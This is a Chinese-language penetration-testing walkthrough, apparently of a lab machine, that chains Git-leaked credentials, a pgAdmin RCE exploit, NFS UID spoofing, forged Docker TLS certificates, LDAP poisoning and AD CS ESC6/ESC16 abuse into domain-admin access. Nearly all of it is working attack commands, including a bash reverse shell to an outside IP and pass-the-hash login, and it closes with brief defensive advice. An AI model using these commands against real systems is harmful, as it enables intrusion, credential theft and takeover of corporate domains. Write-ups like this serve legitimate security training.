记一次从容器到域控得渗透过程
字数 1832 2025-12-04 12:11:16

从容器到域控的渗透实战教学

信息收集阶段

网络扫描与发现

使用Nmap进行全面的端口扫描:

nmap -sC -sV -p- --min-rate 5000 -O -A 10.10.11.96

关键发现:

  • 开放端口:22(SSH)、53(DNS)、80/443(HTTP/HTTPS)、88(Kerberos)、135(MSRPC)、139/445(SMB)
  • 域信息:fries.htb,域控制器:DC01.fries.htb
  • SSL证书发现:pwm.fries.htb

子域名枚举

使用ffuf进行子域名爆破:

ffuf -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt \
 -u http://10.10.11.96 \
 -H "Host: FUZZ.fries.htb" \
 -mc 200

发现的关键子域名:

  • code.fries.htb - Gitea代码仓库
  • db-mgmt05.fries.htb - pgAdmin数据库管理

边界突破

敏感信息泄露利用

1. 初始凭据获取
在Gitea历史提交中发现泄露的凭据:

  • 用户名:d.cooper@fries.htb
  • 密码:D4LE11maan!!

2. Git历史分析
搜索数据库相关配置:

git log -p --all | grep -i "postgresql\|postgres\|database_url\|sqlalchemy" -B 5 -A 5

发现的关键信息:

  • 数据库连接字符串:postgresql://root:PsqLR00tpaSS11@172.18.0.3:5432/ps_db
  • 密钥:SECRET_KEY=y0st528wn1idjk3b9a

pgAdmin漏洞利用

1. 版本识别与漏洞利用
发现pgAdmin 9.1版本存在CVE-2025-2945漏洞,使用公开exp:

python3 exp.py \
 --target-url http://db-mgmt05.fries.htb \
 --username d.cooper@fries.htb \
 --password 'D4LE11maan!!' \
 --db-user root \
 --db-pass 'PsqLR00tpaSS11' \
 --db-name ps_db \
 --payload "__import__('os').system('bash -c \"bash -i >& /dev/tcp/10.10.16.69/4444 0>&1\"')"

2. 获得初始立足点
成功获取反向shell,进入容器环境。

后渗透阶段

容器内信息收集

1. 环境变量分析
使用env命令发现关键凭据:

PGADMIN_DEFAULT_EMAIL=admin@fries.htb
PGADMIN_DEFAULT_PASSWORD=Friesf00Ds2025!!

2. 系统权限检查
发现/etc/passwd文件可写,存在权限提升机会。

网络隧道搭建

使用ligolo-ng建立隧道:

# 添加路由
sudo ip route add 172.18.0.0/24 dev ligolo

NFS共享利用

1. NFS共享发现

showmount -e 172.18.0.1
# 输出:/srv/web.fries.htb *

2. 挂载NFS共享

mkdir -p /tmp/web
sudo mount -t nfs 172.18.0.1:/srv/web.fries.htb /tmp/web

3. 分析docker-compose配置
发现网络架构和容器IP分配信息。

权限提升

NFS UID/GID欺骗攻击

1. 创建匹配的用户

sudo groupadd -g 120 barman_group
sudo groupadd -g 59605603 infra_managers
sudo useradd -u 117 -g 59605603 -M -s /bin/bash barman_local

2. 部署特权shell

sudo su barman_local -c "cp /mnt/web/shared/target_bash /mnt/web/shared/bash2"
sudo su barman_local -c "chmod 6777 /mnt/web/shared/bash2"

3. 获取root权限
在目标服务器执行:

/srv/web.fries.htb/shared/bash2 -p

证书发现与分析

在certs目录发现Docker TLS证书:

  • ca-key.pem - CA私钥
  • ca.pem - CA证书
  • server-*.pem - 服务器证书

Docker CA证书滥用

伪造客户端证书

1. 生成客户端私钥

openssl genrsa -out client-key.pem 4096

2. 创建证书签名请求

openssl req -new -key client-key.pem -out client.csr -subj "/CN=root"

3. 使用泄露的CA签发证书

openssl x509 -req -days 365 -sha256 \
 -in client.csr \
 -CA ca.pem \
 -CAkey ca-key.pem \
 -CAcreateserial \
 -out client-cert.pem \
 -extfile extfile.cnf

Docker API访问

1. 列出容器

docker --tls --tlscacert=ca.pem --tlscert=client-cert.pem --tlskey=client-key.pem -H=tcp://127.0.0.1:2376 ps

2. 进入PWM容器

docker --tlsverify \
 --tlscacert=ca.pem \
 --tlscert=client-cert.pem \
 --tlskey=client-key.pem \
 -H=tcp://127.0.0.1:2376 \
 exec -it pwm /bin/bash

域渗透阶段

PWM配置获取

在PWM容器中发现配置文件:

cat /config/PwmConfiguration.xml

发现哈希值:

$2y$04$W1TubX/9JAqpHlxx7xqXpesUMB2bJMV4dH/8pXbcul0NgA6ZexGyG

密码破解:

hashcat -m 3200 -a 0 hash.txt /usr/share/wordlists/rockyou.txt

LDAP投毒攻击

1. 配置Responder

sudo responder -I tun0 -A

2. 修改PWM的LDAP配置
将LDAP服务器指向攻击者控制的IP,捕获域凭据。

3. 获取域用户凭据
成功捕获svc_infra用户的NTLM哈希。

BloodHound枚举

1. 域关系分析

bloodhound-python -c All -d fries.htb -u 'svc_infra' -p 'm6tneOMAh5p0wQ0d' -ns 10.10.11.96 --zip

2. 发现gMSA账户权限
发现svc_infra对gMSA_CA_prod$有读取密码权限。

gMSA密码检索

使用nxc工具获取gMSA密码:

nxc ldap 10.10.11.96 -u 'svc_infra' -p 'm6tneOMAh5p0wQ0d' --gmsa

获取的gMSA信息:

  • 账户:gMSA_CA_prod$
  • NTLM哈希:fc20b3d3ec179c5339ca59fbefc18f4a

AD CS攻击

Certipy枚举

certipy-ad find -u 'gmsa_ca_prod$' -hashes :fc20b3d3ec179c5339ca59fbefc18f4a -dc-ip 10.10.11.96 -stdout

发现关键权限:

  • gMSA_CA_prod$拥有ManageCa和ManageCertificates权限

ESC6漏洞利用

1. 启用EDITF_ATTRIBUTESUBJECTALTNAME2

Certify.exe manage-ca --ca "DC01.fries.htb\fries-DC01-CA" --esc6

2. 禁用SID校验(ESC16)
使用PowerShell修改CA配置:

$Config = "DC01.fries.htb\fries-DC01-CA"
$CertAdmin = New-Object -ComObject CertificateAuthority.Admin
$Node = "PolicyModules\CertificateAuthority_MicrosoftDefault.Policy"
$CertAdmin.SetConfigEntry($Config, $Node, "DisableExtensionList", "1.3.6.1.4.1.311.25.2")

3. 重启证书服务

sc.exe \\DC01.fries.htb stop certsvc
Start-Sleep -Seconds 5
sc.exe \\DC01.fries.htb start certsvc

证书伪造

1. 请求管理员证书

certipy-ad req -u 'svc_infra@fries.htb' -p 'm6tneOMAh5p0wQ0d' -dc-ip 10.10.11.96 -ca 'fries-DC01-CA' -template 'User' -upn 'administrator@fries.htb' -sid 'S-1-5-21-858338346-3861030516-3975240472-500'

2. 证书认证

certipy-ad auth -pfx administrator.pfx -domain fries.htb -dc-ip 10.10.11.96

3. 获取域管理员访问

evil-winrm -i 10.10.11.96 -u 'administrator' -H a773cb05d79273299a684a23ede56748

关键攻击链总结

  1. 信息收集:通过子域名枚举发现攻击面
  2. 初始访问:利用Git历史中的敏感信息泄露
  3. 漏洞利用:pgAdmin的RCE漏洞获取容器访问
  4. 横向移动:NFS共享配置错误导致权限提升
  5. 证书滥用:Docker TLS证书伪造获取容器控制权
  6. 域渗透:PWM配置修改实施LDAP投毒
  7. 权限提升:AD CS漏洞利用获取域管理员权限

防御建议

  1. 代码管理:定期清理Git历史中的敏感信息
  2. 访问控制:加强NFS共享权限管理
  3. 证书管理:安全存储CA私钥,定期轮换
  4. 服务加固:及时更新pgAdmin等管理工具
  5. AD监控:实施AD CS配置变更监控
  6. 网络分段:容器网络与域网络隔离
从容器到域控的渗透实战教学 信息收集阶段 网络扫描与发现 使用Nmap进行全面的端口扫描: 关键发现: 开放端口:22(SSH)、53(DNS)、80/443(HTTP/HTTPS)、88(Kerberos)、135(MSRPC)、139/445(SMB) 域信息:fries.htb,域控制器:DC01.fries.htb SSL证书发现:pwm.fries.htb 子域名枚举 使用ffuf进行子域名爆破: 发现的关键子域名: code.fries.htb - Gitea代码仓库 db-mgmt05.fries.htb - pgAdmin数据库管理 边界突破 敏感信息泄露利用 1. 初始凭据获取 在Gitea历史提交中发现泄露的凭据: 用户名:d.cooper@fries.htb 密码:D4LE11maan! ! 2. Git历史分析 搜索数据库相关配置: 发现的关键信息: 数据库连接字符串: postgresql://root:PsqLR00tpaSS11@172.18.0.3:5432/ps_db 密钥: SECRET_KEY=y0st528wn1idjk3b9a pgAdmin漏洞利用 1. 版本识别与漏洞利用 发现pgAdmin 9.1版本存在CVE-2025-2945漏洞,使用公开exp: 2. 获得初始立足点 成功获取反向shell,进入容器环境。 后渗透阶段 容器内信息收集 1. 环境变量分析 使用 env 命令发现关键凭据: 2. 系统权限检查 发现 /etc/passwd 文件可写,存在权限提升机会。 网络隧道搭建 使用ligolo-ng建立隧道: NFS共享利用 1. NFS共享发现 2. 挂载NFS共享 3. 分析docker-compose配置 发现网络架构和容器IP分配信息。 权限提升 NFS UID/GID欺骗攻击 1. 创建匹配的用户 2. 部署特权shell 3. 获取root权限 在目标服务器执行: 证书发现与分析 在certs目录发现Docker TLS证书: ca-key.pem - CA私钥 ca.pem - CA证书 server-* .pem - 服务器证书 Docker CA证书滥用 伪造客户端证书 1. 生成客户端私钥 2. 创建证书签名请求 3. 使用泄露的CA签发证书 Docker API访问 1. 列出容器 2. 进入PWM容器 域渗透阶段 PWM配置获取 在PWM容器中发现配置文件: 发现哈希值: 密码破解: LDAP投毒攻击 1. 配置Responder 2. 修改PWM的LDAP配置 将LDAP服务器指向攻击者控制的IP,捕获域凭据。 3. 获取域用户凭据 成功捕获svc_ infra用户的NTLM哈希。 BloodHound枚举 1. 域关系分析 2. 发现gMSA账户权限 发现svc_ infra对gMSA_ CA_ prod$有读取密码权限。 gMSA密码检索 使用nxc工具获取gMSA密码: 获取的gMSA信息: 账户:gMSA_ CA_ prod$ NTLM哈希:fc20b3d3ec179c5339ca59fbefc18f4a AD CS攻击 Certipy枚举 发现关键权限: gMSA_ CA_ prod$拥有ManageCa和ManageCertificates权限 ESC6漏洞利用 1. 启用EDITF_ ATTRIBUTESUBJECTALTNAME2 2. 禁用SID校验(ESC16) 使用PowerShell修改CA配置: 3. 重启证书服务 证书伪造 1. 请求管理员证书 2. 证书认证 3. 获取域管理员访问 关键攻击链总结 信息收集 :通过子域名枚举发现攻击面 初始访问 :利用Git历史中的敏感信息泄露 漏洞利用 :pgAdmin的RCE漏洞获取容器访问 横向移动 :NFS共享配置错误导致权限提升 证书滥用 :Docker TLS证书伪造获取容器控制权 域渗透 :PWM配置修改实施LDAP投毒 权限提升 :AD CS漏洞利用获取域管理员权限 防御建议 代码管理 :定期清理Git历史中的敏感信息 访问控制 :加强NFS共享权限管理 证书管理 :安全存储CA私钥,定期轮换 服务加固 :及时更新pgAdmin等管理工具 AD监控 :实施AD CS配置变更监控 网络分段 :容器网络与域网络隔离